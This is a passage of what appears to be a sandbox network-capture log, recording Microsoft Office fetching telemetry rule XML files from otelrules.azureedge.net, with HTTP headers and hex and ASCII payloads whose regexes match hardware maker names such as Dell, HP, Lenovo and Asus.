2024-12-06 14:52:32 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49712	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:31 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:32 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 9ac3d201-201e-0000-03c5-45a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145232Z-1746fd949bd9x4mhhC1EWRb76n00000004eg00000000827g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:32 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:34 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:34 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 4fdc5859-b01e-0084-1fae-47d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145234Z-1746fd949bd9rf4qhC1EWRgypw00000000wg00000000h5yt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:34 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:34 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:34 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: c2908fd4-501e-00a0-4ac8-459d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145234Z-1746fd949bdhk6hphC1EWRaw3c000000045g000000007n39 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:34 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:34 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: d3611829-901e-007b-22c2-45ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145234Z-1746fd949bdfg4slhC1EWR34t0000000046g00000000fsay x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:34 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:34 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: dbf49064-101e-00a2-1bc6-459f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145234Z-1746fd949bd77mkmhC1EWR5efc00000004n000000000dky7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:34 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49714	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:34 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:34 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4628c04c-d01e-0017-18cc-45b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145234Z-1746fd949bdtlp5chC1EWRq1v4000000048000000000hcwc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:34 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:36 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:36 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:36 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 2b878731-501e-008c-34ce-45cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145236Z-1746fd949bdzd2qvhC1EWRcygw00000003z000000000m2n0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:36 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:36 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:37 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:36 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: c2a94a43-501e-00a0-7dd0-459d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145236Z-1746fd949bd7wvgbhC1EWR0rgs00000004a000000000pd8a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:37 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:36 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:37 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6818e2c2-d01e-0065-16d2-45b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145236Z-1746fd949bdlqd7fhC1EWR6vt000000004kg000000006cec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:37 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:36 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:37 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:36 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 864f0b94-901e-00a0-42cc-456a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145236Z-1746fd949bdnq7x2hC1EWRpxr0000000043000000000msys x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:37 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:36 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:37 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:37 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 6223bc78-401e-0015-38b6-450e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145237Z-1746fd949bdqpttnhC1EWRe1wg00000003zg00000000pt0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:37 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:38 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
